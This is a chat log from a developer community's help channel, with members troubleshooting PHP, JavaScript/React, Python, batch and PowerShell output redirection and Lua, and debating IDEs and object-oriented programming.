            } elseif (md5_file($file_linux) == false) {
                echo "File not found";
            } elseif (md5_file($file_mac) == false) {
                echo "File not found";
            } else {
                return true;
            }

How come, I do get File not found while, the correct MD5 Hash value returns just fine?

vernal marsh
# compact spire For speech inference it's a lot harder though.

yeah not gonna work in my case... that model is wayy to small for NLP .... the thing is my model requires a tfdelgate which isn't supported on micro ... tflite barely supports it, on a scale of 0-10 scale of sketchiness its on 9 if not 10... I could try to replace the default delegate but if I am targeting desktop I shouldn't have to do that... either way tauri just works fine with rust...

compact spire
vernal marsh
#

true that is actually interesting the biggest problem is NLP models tend to be on the bigger side , my focus is on text so I don't have an option of using any deepspeech models, anyways thanks for shaaring a good video it was an interesting watch

compact spire
compact spire
# vernal marsh true that is actually interesting the biggest problem is NLP models tend to be o...

makes sense
I was thinking natural speech processing with context cues, since you can pipe deepspeech into just about anything and I recall it gives context, timing, and other options. If you could get it running entirely on one small scale asic, npu, or fpga (npu is going to be easiest, fpga and asic will be hell and something beyond respectively).
The alternative is to beef up both battery and power capacity... but those are expensive. Doing it all in the gpu on android (make sure you test on older devices - something like a google pixel 1 or 2 will be pretty cheap and effective for it) will make it faster (and I presume is done by default since the per sentence inference is well under 1ms). For obvious reasons it's probably fine, tbh.

wraith turtle
#

hey hey peoples, was hoping someone might be able to explain why this does not work js status.forEach(ltrCnt => function(){if(ltrCnt>0){letterCnt++}}) /*for(let i=0;i<status.length;i++){ if(status[i]>0){ letterCnt++ } }*/

#

the commented out section works and i was trying to repalce it with that foreach

wraith turtle
#

i figured it out.... i was being a derp XD
i had brain fart
made more sense once i wrote it out long ways of that notation

status.forEach(function(ltrCnt) {
    return function(){if(ltrCnt>0){letterCnt++}}
})```
which of course does not work.... so it was fixed as 
```js
status.forEach(function(ltrCnt){if(ltrCnt>0){letterCnt++}});
cinder willow
#

Odd question but has anyone here worked with the nodejs wrapper for plotly? For some reason they haven't deprecated it even though it's clearly out of date. Regardless, I've run through a few different graphing libraries in an attempt to find something I like, haven't found much. I've gotten a bit setup with plotly, however when I attempt to customize the colors of bar graphs, it simply ignores the option even though I'm using the same name from their docs.

I believe this is just related to api paths being changed, any ideas?

cedar spindle
#

how does one fix this?

rancid nimbus
#

Oh would need to remove the concatenation of two string constants.

#

Or to word it better two string literals or two quoted strings.

#

It might then complain about lines being longer than 80 chars, but I would suspect not because that one Linux looks longer than 80 chars and doesn't have a warning.

ocean venture
#

What ide does everyone use?

#

I use pycharm personally

midnight wind
#

vscode

rose pulsar
#

^

#

i havent tried other ones too much yet though

nocturne galleon
#

vscode

slate frigate
#

Pycharm is my go to

nocturne galleon
#

I used IDLE for a while than switched PyCharm but now I use vscode so I can do development in multiple languages

hollow basalt
#

I can’t use pycharm current in my company

hollow basalt
nocturne galleon
nocturne galleon
#

Just need jvm language servers to get a tiny bit better

#

I'm working on adding gradle specific jdk support to kotlin-language-server so that should help

#

After fixing that i think my bottleneck is the lack of cross compatibility between kotlin and java servers, which there is apparently some experimental work going on to fix

#

So overall i think the future of jvm neovim is pretty bright

slate frigate
#

@nocturne galleon full jetbrains stack is pretty sweet

nocturne galleon
#

Full jetbrains stack is also proprietary and paid :p

#

Imho using proprietary software for development should be avoided unless there is no other option, whether paying is worth it is another matter entirely though

slate frigate
#

Access to a .edu account makes it free! Plus, with their rollover license model, after 1 year, you're essentially guaranteed to always have a licensed version

#

Its one of my cheaper licenses, anyways

nocturne galleon
#

My only recurring payment is my domain, because there is no (sane) way to get a domain for free

#

personally im two lazy to have multiple ides and fleet isn't out yet, and my understanding is that each jetbrains ide is specialized to a certain language

#

Yep that's fair, i am pretty excited for fleet if it can be as light as vscode while having jetbrains jvm support

slate frigate
#

They have a decent amount of bleed over with each other, lint and intellisense work for other languages in each

#

Granted, i mainly switch between goland and pycharm, so that experience comes from those 2

nocturne galleon
#

Well, if you believe TUI is a pro not a con, like me

#

(makes it easier to code via ssh and uses less resources)

slate frigate
#

Does it have a github copilot plugin 😉 ? Thats been an amazing time saver for me lately

nocturne galleon
#

It does actually

slate frigate
#

Thats pretty slick

nocturne galleon
nocturne galleon
# slate frigate Thats pretty slick

It's not FOSS though sadly, so I'm still waiting to get accepted for codex so i can use a FOSS plugin or write my own, I'd reverse engineer the copilot API and write my own that way but microsoft explicitly forbids reverse engineering its products unless otherwise specified so that would be a bad idea

slate frigate
#

@nocturne galleon probably. Saves so much time on writing boilerplate, as well as any repetitive type code. Example, oh you made 4 variables that serve as conditions, and wrote some kind of check for the first? It auto-magically makes checks for the other 3 and is a pretty solid match for what I want 80% of the time

nocturne galleon
slate frigate
#

Yup

nocturne galleon
#

thats nice your company lets you use it

slate frigate
#

They don't care what I use as long as stuff gets to production, its super nice

#

On the flip side, I pay for what I use, but thats a fair enough trade off for me

nocturne galleon
#

If i ever do full time programming (which i hope i don't have to) i hope it's for a company like that

slate frigate
#

Would I blow your mind a little if I said it was gov work?

#

@nocturne galleon

nocturne galleon
#

Honestly i have no idea how governments usually operate on a technical level so not really :p

slate frigate
#

lol, fair enough. Usually its the other way around. I just happen to be on a solid team that provides me with a lot of overhead cover in exchange for results

silk eagle
#

hey bro I misplaced my launch codes can u give me yours

cloud knot
#

or to be precise - prepare the conditional parts before, then put them in the backtick operator string as ${preparedConditionalString}

cedar spindle
cloud knot
cedar spindle
#

Oh no

cloud knot
#

i mean Sonar isn't bad, but it will starts hammering your code with complaints about method complexity, number of method parameters, number of methods in a class and so on 🙂

misty berry
silk eagle
#

I have good news everyone, after 45 minutes I found the typo that was causing this

#

and it was, of course, the dumbest shit

slate frigate
#

Even more good news, github copilot is released for public use! only 10$/month, 100$/year

silk eagle
#

good ROI on that

slate frigate
#

And the people doing the technical review program get a free 2 months

cinder willow
#

Honestly I’ll probably end up paying the $100

#

I love copilot, it’s amazing. It can be dumb sometimes but the majority of time it speeds up writing what I want without comments

median dagger
cinder willow
#

You program in rust? ChocolaBlink

silk eagle
#

we're so similar in how we both use vs code for Python

vast gull
#

Wrong

#

vim is the only text editor you need

slate frigate
#

Before using a text editor, you must write a text editor

ocean venture
#

Best ide is ms word

#

Change my mind

rotund zinc
#

alr guys i am back with a couple more questions :3

#

anyway, if you were to strip down Windows and restrict it to dumb users, what would you change?

#

specifically Windows 10

#

(i'm talking like control panel options, file explorer access or similar)

#

it'd help me out massively, ty

nocturne galleon
#

How do I wait for an active process to close to continue the script? I tried this but the loop continues even after the process closes

`:waitloop

TASKLIST |find "%timer%" >NUL
IF ERRORLEVEL 1 (timeout 1 >nul&GOTO waitloop)
`

Any ideas at all?

hollow basalt
#

Some ideas at all

alpine girder
tight coral
#

Hello

cloud knot
vestal spire
#

anyone familiar with strapi-middleware-cache ? I need some help. The logs are spitting out "the store is not ready." Using the type redis

cloud knot
vestal spire
#

warn [cache] the store is not ready and that's it

cloud knot
#

yes, but that is because it tries to use it:
https://github.com/patrixr/strapi-middleware-cache/blob/master/lib/cache/index.js#L61

Condition is on line above, and that happens when literally Redis client status is not ready:
https://github.com/patrixr/strapi-middleware-cache/blob/master/lib/cache/stores/redis.js#L66

Thus it is either a misconfiguration issue (and Redis client can't connect to the Redis server), firewall issue (the server where Strapi runs can't access the Redis server) or Redis server is down (thus it can't connect).

vestal spire
vestal spire
amber coral
#

Got my first software engineering job offer through ☺️ I'm super hyped

cloud knot
#

the redisConfig is 1:1 sent to this library

vestal spire
#

Also, I'm requesting my company's permission to access SSH to go test it with redis-cli. Currently have no access to the actual machine

cloud knot
#

btw are you sure you want to develop with code based on Strapi 3.x ?

vestal spire
#

Not my decision. I'm just an intern. I asked the team and they said they have plans to upgrade to strapi 4.x.x

#

Which I assume we would need to use another middleware

hollow basalt
#

understandable, have a good day

cloud knot
#

yeah, bunch of stuff moves around. just meant Strapi 3.x ends in Q3 2022, which is soon

#

but anyway, i would first check if connectivity works at all; you could be working hours trying to connect with no result, when the destination Redis server is unreachable

nocturne galleon
#

Icu is a tld? Obviously scam anyhow

livid bison
#

<@&750150305383186585>

cloud knot
#

The application fee for custom TLDs is $185,000, which is only partially refunded in the case of rejection. If approved, a registration will cost about $25,000 per year to maintain.

nocturne galleon
#

😳

midnight wind
#

Has to be approved, but for the most part yeah

cloud knot
#

i mean unless it is offensive or typosquatting, it will get approved

#

that is why we have .google TLD

sturdy ingot
restive ore
#

Like, for example, Portugal owns .pt, Spain owns .es, Tuvalu owns .tv , etc...

next cipher
#

no, country codes (ccTLDs) are a pre existing part of the system

#

custom TLDs like you're talking about are called "gTLDs" which is a separate program

next cipher
fervent thicket
#

any freelance developers here who are experienced in nextjs/mantine/tailwindcss?

fervent thicket
peak acorn
#

My coworkers be like (sorry if command is wrong)

#

Svn commit "debugging"
Svn commit "debugging"
Svn commit "debugging"
Svn commit "debugging"
Svn commit "debugging"

cloud knot
peak acorn
#

Idk

#

The primary build script defaults to checking out from the svn server every time

cloud knot
#

i mean, i feel dirty when i create a git branch & merge request for single commit to fix something Sonar reported 😄

peak acorn
#

It's literally a 3 line change fix to make the script build from a directory with no svn interaction

#

Which I have done, so I don't hog the feed with random commits

nocturne galleon
#

I have never used svn

#

Only git

cloud knot
#

i mean sure, sometimes that kind of situation @peak acorn described happens - usually when i try to fix/set up a gitlab ci script. but even then the script can be tested/fixed up in a branch, and the commit just one version to main branch

#

but hey, people are lazy

peak acorn
#

We are like old ppl here so we use creaky svn

cloud knot
peak acorn
#

Yeah good luck getting my bosses to do that

cloud knot
#

or other tools, but yeah, whatever. we still got some legacy projects on SVN, which have early versions imported from CVS 🙂

#

but some of the code is GIT, imported from SVN, which was imported more than decade or more ago from CVS

peak acorn
#

Lol they still ban the shit word

cloud knot
#

hell, there is even git svn clone LOL

sturdy ingot
#

I spend 1h trying to help a friend with their conflicts on their git (svn clone) repository compared to the SVN upstream and ultimately told them to enact XKCD 1597 and either have all of them use Git or stay on SVN, or at least never rebase the already pushed SVN history locally.

cloud knot
vestal crest
#

anybody got any ideas of any .NET libraries that would give me the same functionality as MSMQ/SQS/Azure Queues, but self contained within the app, not in the cloud (doesnt have to be redundant, just has to be something that is there)

peak acorn
#

Pro tip

#

Work at a high turnover rate company for frequent free donuts when ppl leave lmao

lament bridge
#

How do I make tables such as in Lua in Javascript?

const it = null;

function App() {
  const it.solved = true;
  const it.escalated = true;
}
#

Ah, figured out, Object :p

silk eagle
#

objects op

nocturne galleon
#

eh, dynamic objects are quite iffy imo

silk eagle
#

i made a pun

nocturne galleon
#

oh i see

silk eagle
lament bridge
#

xD

#

One question, I don't get tho. How on earth, can I use dynamic booleans here?

<div className={`border-l-4 p-5 h-4 w-64 m-4 flex items-center text-white ${IT["solved"] ? true: "border-ngreen-500" ? false: "border-nred-500"}`}
next cipher
#

what language is this?

#

oh wait lua??

lament bridge
#

lol no

#

ReactJS

next cipher
#

ah... yeah I'm not sure that will update unless you're using something from your state

lament bridge
#

I did update it in the variable

next cipher
#

where is the object ITcoming from?

lament bridge
#
function App() {
  var IT = {
    'solved': true,
    'escalated': true,
  };
  console.log('solved:', IT['solved'])
  console.log('escalated:', IT['escalated'])
  return (

    
    <div className="flex flex-row bg-nblack-600">
      <Sidebar />
      
      <div className={`border-l-4 p-5 h-4 w-64 m-4 flex items-center text-white border-ngreen-500 ${IT["solved"] ? false: "border-nred-500"}`}
     // {$}
      >#282887</div>
    </div>
   
  );
}

export default App;
#

I tried a couple of ways already, but never changes to the right color due to the condition

next cipher
#

right so changing a variable won't do anything to update the rest of the page unless it's in your this.state

#

actually this is a function component

#

so there is no state unless you use hooks

lament bridge
#

ah..

#

will look into that

#

this generally for test only

#

I will get access to the repo next week, so just practising in the meanwhile

next cipher
#

I'm on my phone so i can't really edit this example to show you how to use state, but basically you either need to make it a class, or make it a function component and have something external change the props

lament bridge
#

Its mainly will be used for our internal app, but I also want to fix this issue eventually, when if you press F5, it goes 404 lol

silver furnace
#

It somehow redirects and gives a bad url to browser? Then you hit refresh and it attempts to HTTP_GET from a non-existing place?

next cipher
#

you probably don't have the server set up to handle client side "push state" routing

silver furnace
#

I was thinking some rewrite rules or crap

next cipher
#

for a single page app. the client can rewrite the browser URLs to provide paths within the react app

#

but the server has to serve the single page app for any sub path in order for that to work

#

iirc there's a good guide to setting it up in the react-router docs (idk if that's what you're using but it'll be roughly the same)

cobalt mulch
#

Damm nice you posted this in the dev channel a nice website with a few lines of JavaScript to send login details to your totally not malicious server

silk eagle
sturdy ingot
#

<@&750150305383186585> ^

lament bridge
next cipher
#

very reasonable 😆

rancid nimbus
#

Ok, so I push to a git server and it has an update hook. The git Hook clones the directory and then checks out a commit.

#

Git decides to tell me that it was not in a git directory right after telling me what branch it is in. Great.

mighty aspen
# lament bridge ```js function App() { var IT = { 'solved': true, 'escalated': true, ...

https://reactjs.org/docs/hooks-overview.html

aka
const [solved, setSolved] = useState(true);
const [escalated, setEscalated] = useState(true);

// so default is true

<button onClick={() => setSolved(false)} > Set solved false </button>

you generally can't directly use that to affect a class tho, you'll have to pass it back into something that then changes the class of the element (from my experience anyway)

Example here https://www.geeksforgeeks.org/changing-css-styling-with-react-onclick-event/

meaning
const [solved, setSolved] = useState(true);
let dynamicCss = "exampleClass";
const changeSolved = () = {
setSolved(!solved);
if(!solved){
dynamicCss = "exampleClassTwo";
}else{
dynamicCss = "exampleClass";
}
};
<button onClick={changeSolved} > Toggle Solved </button>
<p className={dynamicCss}> hi </p>

I think that'll work but ovbiously just freehanded it, should hopefully help tho?

mighty aspen
# lament bridge Its mainly will be used for our internal app, but I also want to fix this issue ...

the 404ing needs to be fixed as either a .htaccess file if served by apache
https://stackoverflow.com/questions/57090744/how-do-i-configure-my-htaccess-file-for-react-app-in-subdirectory
or for ngnix, put this in config:
location / {
try_files $uri /index.html;
}
https://stackoverflow.com/questions/43951720/react-router-and-nginx

next cipher
#

i would honestly say for this kinda thing its preferable to serve it with express for consistency within the stack (and then put nginx in front of it as a reverse proxy/to serve static assets if necessary)

rancid nimbus
#

https://youtu.be/HlUe0TUHOIc
How about a compiler that only uses one type of CPU command.

Your precious 0-day? That meticulously crafted exploit? The perfect foothold? At some point, they'll be captured, dissected, and put on display. Reverse engineers. When they begin snooping through your hard work, it pays to have planned out your defense ahead of time. You can take the traditional defensive route - encryption, obfuscation, anti-d...

▶ Play video
inland relic
#

why can't i make my code repeat it's self by a variable amount of times

import turtle
t=turtle.Turtle()
t.hideturtle()
x=0
z=0

a=input("by how much the line goes forward")
b=input("by how much the line gets bigger, 0 for it to be always the same")
c=input("by how much the line rotates after each movement")
d=input("how many times to do this")
e=input("how fast to make this line go")

t.pencolor('black') (this part is to give a black background)
t.pensize(9999)
t.goto(0,0)

t.pensize(x)
t.speed(e)
t.pencolor('white')

for m in range(d):
t.right(z)
t.forward(a)
x=x+b
z=z+c
x=x+x (yes i know this is going to multiply it but i can figure it out in a minute how to make it add instead)

peak acorn
#

When you read d by input(bla bla) it is saved as a string

#

and the for loop doesnt know how to convert d into a number to use for range()

inland relic
#

how do i make it turn it into a number

#

or use it as one

peak acorn
#

googling that rn haha

#

You can do for m in range(int(d)) but you might want to be careful, the program will crash if you type a non-integer

inland relic
#

ok thx i will try that

peak acorn
#

If you wanna validate the input, theres another function you can use

inland relic
#

fixed it and it works now thx

#

i had to add the int(variable) to a few other things too

livid bison
#

Cuz if you don't give it an int, the script will crash

inland relic
#

ok thx i will see what i can do knowing that

peak acorn
#

i think checking isnumeric would also work but that might have weird edge cases idk

livid bison
#

If you wanna get real fancy

peak acorn
#

i forgor modern python can define what the output type is

#

very nice to see

livid bison
somber lodge
cloud jungle
#

I thought python doesn't use semicolons. 🤔

peak acorn
#

I think its technically optional

cloud jungle
#

Ok 👍

livid bison
peak acorn
#

or could prob use an array or some other mapping with a loop

cloud jungle
#

Well i tried to use switch and it didn't accept the variables.

livid bison
peak acorn
#

Pair your paths into (pos, waypoint) then for each pair, check ypos vs pos, if match set waypoint and break

livid bison
peak acorn
#

Yeah dont think u can do that

cloud jungle
#

Like float path1pos = ganeman.Path1pos

#

But that is nothing. I made a worse thing in the past (which is around 1-2 years ago)
LUL

#

This is GML 1⬆️

cloud jungle
peak acorn
#

jeez uh

#

ok yandere dev

cloud jungle
# peak acorn ok yandere dev

But I write better code (or at least the try to) because it's (obviously) much easier to work with it and can be easily reused. happy

peak acorn
#

good good

peak acorn
#

yes good

hollow basalt
#

Why format the equal sign

peak acorn
#

better q why not line up the equal signs

vivid turtle
#

That moment when you're designing a system to fetch daily news from across the web, check your calendar, remind you to do your daily stuff and you realize you're basically designing a digital secretary...

peak acorn
#

lol

hollow basalt
vivid turtle
cloud jungle
cloud jungle
oblique remnant
# cloud jungle Why not?

Really its personal preference. But as far as clean code goes it makes the single line of code read weird. If you were to take any line of that settings block in isolation it might be
public static bool playSounds = true
which doesn't look very good

but its a formatting thing. The code will run no faster or slower because of the additional space

mighty aspen
stark flicker
#

I need help finishing out a vbscript that passes a filepath to a command processor.

oblique remnant
hollow basalt
#

Must be venting cause he didn't put the effort to show the code

deft sigil
# mighty aspen I suggest that any time you're doing comparisons within an object (gameMan) for ...

i have to dissagree completely with this, oop wil mess things up even before you started, program finished, new feature is requested , can be done but needs to set some variables in a different branch of the tree,... or you have to go up the hiearchy to the common class then to descend in the other branch to the object , wich is what you should do and it makes things complicated , so what most do , is to directly access the variables , breaking the complete hiearchy structure.... ps if oop is great because it allows one to categorise code in the same way we categorise our surrounding,... one should think about it we fail at categorising anything ,.. oop has the same problem with the added difficulty that you should account for all categories and structures before you write the first line ,.... and speaking of lines of code , the first hour of a (small) new project , your writing boilerplate code that serves no other function than creating structure.

#

The concept of a singleton is an oxymoron, a class with only 1 instance should never ever be a class... , classes are blueprints for a series , or some explain it as a factory that makes objects, if there is only one it doesnt need a factory, you can just construct it as whatever fits best function for manipulation , array or dict for data container, also if you do a mostcomon used classnames in oop you get stuff like , blblafactory blablahelper blabla proxy bla anager blacontroller or a factory manager controller helper or the worst of all "handler" most of the time the whole path tells you nothing ,... ps im not a functional programmer either but i do use allot of there structures , like using operator logic where possible and makes sense instead of an if else branching structure... i myself prefer the procedural way not that its the best , and the one and only , but i have yet to see an oop style piece of software that was the most elegant , readable, (fastest) solution to a a problem usually one of the other paradigms is better.

silk eagle
#

idk man sounds like you guys need a better oop language

#

cuz that sounds wack, i just do

class objectguy:
    def __init__(self, name = ""):
        self.name = name
#

and then objectguy is born 😁 (well not actually u gotta create an instance of the object)

deft sigil
#

now make an object woman , as an extention to your program , but let them both inherrit from objecthuman wich should be a subclass of objectprimate because the next extention will be a chimpansee, then a bonobo will be added aswell, , next you can ask yourself if we were to ad genders so , objectchimpanseefemale and ..male and they should inherit from objectgender and also from objectsex since while in most animals that would be identical it isnt for humans. next we will ad a spider class with tarantulla, and then you may ad spiderman into the mix and see where you end up, the question should be mmmm is spiderman an instance or a class , could there be more then one ? theoreticly yes but what if not ? <= should this be a consern of a programmer? and whit this you are just creating hiearchy and structure there isnt any actual code yet.

#

ps dont forget to account for the spiderman thing also happening to any other primate , an ofcource a spiderwoman is also possible so ...

deft sigil
#

while all we wanted to do is :```
def shootweb(surface,victim):
hlt=victim['health']
return (hlt-5)(hlt<50)+(hlt-1)(hlt >= 50)

chimpansee['health']=shootweb(face,chimpansee)

mighty aspen
# deft sigil The concept of a singleton is an oxymoron, a class with only 1 instance should ...

it doesn't have to be the most perfect, it's easier to read and utiilize. I did specifically say it's easier to categorize IF the action is recurring. The object will likely be reinstantiated (map changes), oop styling for this makes it easy to logically follow the flow of the process.
I do lots of functional programming, erryday, for APIs and SP's in DBs. But a game character is a pretty good example of when you should keep that super simple - all the stuffs that manipulate the game character from itself can be much easier to maintain within the game character.
Especially as in your example you're gonna be missing the state of the victim...
except you're treating the victim as a class even if you think you aren't, because hlt=victim['health']...
victim['health] is oo, not functional. you have a object (class) named victim, storing that object's vars.

deft sigil
#

true but where oop creates a class with hiearchies , getters and setters, i create an dictionary/array, , pass that to a function either as a whole or only the keyval that should be changed, and it comes right back what needed changing changed , wihout any state or other pieces that might manipulate the data. , pretty easy to debug if something goes wrong , and even easier to write tests for

#

ps i wasnt talking about game chars perse either , i just used it as a vehicle to discribe how fast oop structures can get messed up by additions that werent "accounted" for when the structures was set up.. (and one would actually think that oop would siute me , because of its

slate quest
#

Hey everybody. I'm a long time fan of LTT and just joined this Discord today. Can anybody tell me what cool software projects this community is working on?

mighty aspen
# deft sigil true but where oop creates a class with hiearchies , getters and setters, i crea...

I think you have a very... education-defined version of oop, and i can see why you don't like that particular c#-esque idea of oop.
I personally don't use it that way,
but the principles are the same and they are quite handy.
(i use it for iterable, unique in some way, and mutable instances of the same basic concept -
ex: two game characters who may end up in different locations with different health)
This becomes important when you're working with 1000+ instances of an object and you need to keep things clean -
yes, you can easily just handle any mutations within external functions,
but moving those functions internal to the objects you've created to track position, rotation, health etc
is just cleaner and makes more sense... to me at least, idk.
And the only difference between that and oop as you've defined it is directly accessing the vars, which is easy enough to change (just create getters).

rancid nimbus
slate quest
# rancid nimbus I don't know is the community had built anything together. I see more people ask...

Hi @rancid nimbus, thanks for the response! I'm a developer myself who's trying to get more involved in dev communities in general. I just also happen to be a huge fan of LTT.

I suppose what I was hoping to find was resources on how I could contribute to this community while also sharpening my own dev skills.

Looked like floatplane might be associated with LTT which looks really cool. LMG seems to be a huge company so I was hoping there was something I could help with or try to anyway hahaha.

devout cairn
#

Looking for someone that knows CLI, Right now I am trying to run Cinebench r23 tests, via command line, and everything works. however when I run >Results.txt it gives me a blank text file, So I ran
start /b /wait "parentconsole" cinebench.exe g_CinebenchCpuxTest=true 2>"C:\Users\Omniplex\Desktop\CPUBench.txt

And it also gives a blank text file even though there is a lot of logs on the CLI interface.

#

any ideas on how to save the data in command line?

midnight wind
#

ik how to do it bash, let me check how to do it powershell

slate quest
midnight wind
devout cairn
#

yea!

midnight wind
#

give me a sec

devout cairn
#

I am overclocking my cpu and am doing around 45 benchmarks on various programs and CB takes the most time.

bitter notch
# deft sigil The concept of a singleton is an oxymoron, a class with only 1 instance should ...

Singletons are incredibly useful in large environments with some kind of expensive process that you don't want running mutliple times, better with things like IoC in netcore.
For example I use one that returns a compiled version of something that only needs to occur in startup but is too expensive to do each request, or even each user.
It's got validity, just that people abuse it like everything else!

slate quest
#

Oh, you're piping the errors only I think right?

#

by using "2>" instead of ">"

devout cairn
#

Ive tried both actually, both outpuit a blank file

slate quest
#

oh yes I see. mb

midnight wind
#
Start-Process -FilePath "cinebench.exe" -ArgumentList " g_CinebenchCpuxTest=true" *> C:\Users\Omniplex\Desktop\CPUBench.txt
#

try this?
not too familiar with powershell

slate quest
#

nice

midnight wind
#

make a script.ps1 file with this:```ps
Start-Process -FilePath "cinebench.exe" -ArgumentList " g_CinebenchCpuxTest=true" -RedirectStandardOutput $log -wait
$log | Out-File C:\Users\Omniplex\Desktop\CPUBench.txt

#

then in powershell .\script.ps1

#

@devout cairn

devout cairn
#

C:\Users\Omniplex\Desktop>cinebench.exe g_CinebenchCpuxTest=true 1>"C:\Users\Omniplex\Desktop\CPUBench.txt" worked. ill try that too

midnight wind
devout cairn
shell kayak
#

Out-String?

devout cairn
#

Err I just removed a bit of stuff so its # Average of 3
1..3 | Foreach-Object { Get-CinebenchScore }

midnight wind
devout cairn
#

No just removed the | and everything after.

midnight wind
#

oh yeah that would get similar result, since I think the default action is to print anyway

devout cairn
#

#s are comments yea?

midnight wind
#

yeah

devout cairn
#

where does it tell it to run 3 times? I changed the 1..3 to 1..20 and it still ran 3 times.

#

unless i need 1.................20 but that seems dumb.

#

ah it is 1..20 I just messed up on the save part lol

deft sigil
#

"github.com", .. , an also one small difference you might have glossed over , no mutable strate ,data goes into function , data comes manipulated back out of function ,.. also a function is provided with all the data it needs trough argument option and flags or whatever wil have you.... outside of those nothing has the capability to change those values from outside of the function , and the function on its turn can only mess up its own return statement.., also a huge benefit for code readability, ist that verbs can just remain verbs and nouns can just remain nouns. : validate() does somethjing, ,obvious,validator.validation.helper , well..., what would it doe , does it validate , prolly not because it only helps, ...confusing also your answer is kina strange , if my dicts are just calsses in disguise ,and all vars are,..,,
yea and i making getters that get() stuf for me. how about i just cal a function get() and thell that function what i want it to get ? , asking a getter if it please if it feels like it could get a value form a file , that noone else but that branch of the code may touch or were violating yet another rule of oop (one sentence you hear quit often from people like uncle bob, if oop doesnt work for youu , your not doing it right, you must be violating one of the 44 main rules or one of the 144 by rules , (dunno i lost count),... but i have ever ever seen an example of someone doing it right, because pick any OOP design youtube clip , i bet you they will contradict eachother within the first 15 minutes and wil have contradicted themselfs by the end of it... (while i was looking for an easy example that would make it crystal clear i ran in to some itresting clips, ill share them once ive finished them. and for the example, on commandline why do you write:```echo "string", and not echoer.setstring('string') && echoer.echo('stdout') ?

deft sigil
#

and me personally dont really care how code is written as long as it works and i can threat it like a black box , its fine for me , but anyone thinking oop is (still) the way to go ... is hadicapping his or hers capabilities without realizing it..and for me a blackbox of code is fine but sifting trough that box in order to debug it or to update it after a switch of maintainer,.. imagine , truly i cant say wich paradigm is the best or the easiest fastes t, if you have to pick one to ,learn as first one , all i can say is dont pick OOP, maybe considder functional because procedural wil be easy afterwards , while procedural first wil still leave functional a not so easy one to get going with., however syncro or reactive is also not a bad place to start, but it would be the one that only fits a certan programming nitch so : finished that clip i told you about , and i thing he is a bit more vocal then i am but his arguments cant be ignored so (apparently there are more clips of him on oop so ): https://www.youtube.com/watch?v=V6VP-2aIcSc

deft sigil
#

and i learned programming in BASIC86 and QBASIC and GOTO statements arent as bad in creating spaghetti to try andfind your way in then OOP is after 2 expansion rounds

wind fiber
#

Hello. Does anyone know how people build whatsapp group bots? I can't find it in the official documentation. WhatsApp only seems to support business API and not personal accounts

silk eagle
#

I think of OOP as creating little chimpanzees that do stuff behind the screen on cue

#

they are my scalable army for taking over the planet of the

slate frigate
#

I use OOP when it make sense for me to package data and functions into one easily accessible spot, that I'll probably have multiple copies of. My code is essentially runs of functional code with blips of OOP

deft sigil
# silk eagle I think you're confusing OOP with c# specific oop

is there such a thing as C# specific OOP , ? i figured it was a language independand paradigm, i treat most python modules as black boxes aswel, if i can send them data and they give back what i want : when i want it and in construct i can an will deal with in a reasonable way , i dont care what style it was writen with nor what language was usaed (with exception of javascript and java , they are a blight on society and i still want good things for humanity)

silk eagle
deft sigil
slate frigate
#

Its been incredibly useful working with raw networking and header parsing

silk eagle
#

like theyre words that make sense together but mean nothing to me and im having a hard time understanding it

livid bison
#

Herr likes to ramble sometimes lol

deft sigil
#

it means that if your gonna claim that in fact using dicts and functions in that way makes them defacto disguised classes, , you must also know that either dicts or clases would be obsolete , and since they arent , prolly more differs,.. like you can prett easy change a value of a key, no hiearchy no getter or setter just change the value, . and wen using pure functions as opposed to methods there is really no state connected to that function , writing tests for it is def much easier, (ps with pure functions i mean functions that given the same in put will always the same output ,and that output can be variable or mutable , it just has to be predictable in its core (returning a pyton fstring is a good example of a mutable return value that is the same in its core each time)

deft sigil
#

and on the 2 game chars thjing , why do they have to mimic the entities they are to the gamers in the code, "makes everything nice encapsulated togeter" personOne [health:90 , ...] okay i can see that why its a seductable solution to the problem, , but the downside oif that is that you have to account for everyting that those entities can be , in the planning stages, like if health for every new instance is initialized to 100 , adding big bosses who's health should be initialized to 500 , either requires you to make a seperate class for them , so they share 90% of the code with a character , and duplicate code is not fun to maintain,.. or you have to break up the original class split them of into to branches that inherit 90% from its parent. , while i would say , okay , we have players,, would it make sense to make a dict for each player keeping track of its stats? maybe , but its probably easier to have a dict for a stat , like a healt dict that has key: Player, Value : health left, its not perse harder to deal with an in case of areadamage its even much easier , the damage done bay a grenade explosion can be taken care of an 1 function call, and it woud be applied simultanious to all players , , al;so for locatiions of the players it makes more sense, since checking if the vector of the gun of player a would intersect with any other player in the map can be done inside one function , nope no hit , yes 1 hit and 50% damage to the guy behind him... , data comes back, okay now lets pass that data allong with the healt dict to the update_health() function.. i mean you should be able to see that actually encapsulating a bunch of different data togheter where the only thing that the data has in common is the they belong to the the same charakter, however stats of the same character more often then not dont interact with eachother

stark flicker
silk eagle
#

C:\Users\HOSPITAL\Documents\heart_transplants.csv

mighty aspen
# deft sigil and on the 2 game chars thjing , why do they have to mimic the entities they are...

you're just... way off compared to what i'm saying, but that's okay, so be it.
As you said yourself, singletons shouldn't be oop classes.... so guess what a boss would be? a singleton... So why would it use the class?
They way you're describing OOP is like a boogeyman in the closet, waiting to steal your lunch and punch your children...
It doesn't have to be, you're just used to it being that way.
I also work with people who are former .NET guys and who set up things in the way you're describing, and it sucks.
I also have written perfectly good to go and simple codebases for augmented reality GPS stuff that were OOP map markers and never went beyond a single level of abstraction. And that's with integrating it into a custom modified version of ThreeJS.
It's perfectly doable, it really isn't that hard, and it's infinitely more readable if done properly.
The incredibly particular stylistic and syntactical idiocy you're pointing out doesn't have to be that way for it to be object oriented.

#

Oh, and yeah, you can definitely do object oriented programming without classes entirely.
You're using python language terms, but an object is an object is an object.
Welcome to JS 😛 We have OOP, and classes aren't real

silk eagle
#

i always saw everything in a language as an object cuz what else would it be bro

livid bison
#

Wall of text incoming...

silk eagle
edgy sparrow
#

this is probably a better place to do this

#

if anyone could help me figure out a simple solution to a math.random() lua problem

#

i'm doing basic lua for a particle sim game

#

i want to set random velocities between -2 and 2, so i do math.random(-2,2)

#

problem is, this can give me 0

#

the numbers also never seem to include decimals - i don't know how to do this

#

i looked up some stuff on google but the jargon was too much for me

slate frigate
#

@edgy sparrow math.random, when provided a range, will give you ints between the two

#

To get randoms between -2 and 2, you can do something like this

if (math.random() < .50)
then
    RandomValue = math.random() * 2
else
    RandomValue = math.random() * -2
end
rancid nimbus
#

How about (math.random()-0.5)*4?

slate frigate
#

Either or. Personally I prefer the verbosity of mine

edgy sparrow
#

is there a way that i can just force the number to be non-zero

#

like some way using math.abs()

edgy sparrow
#

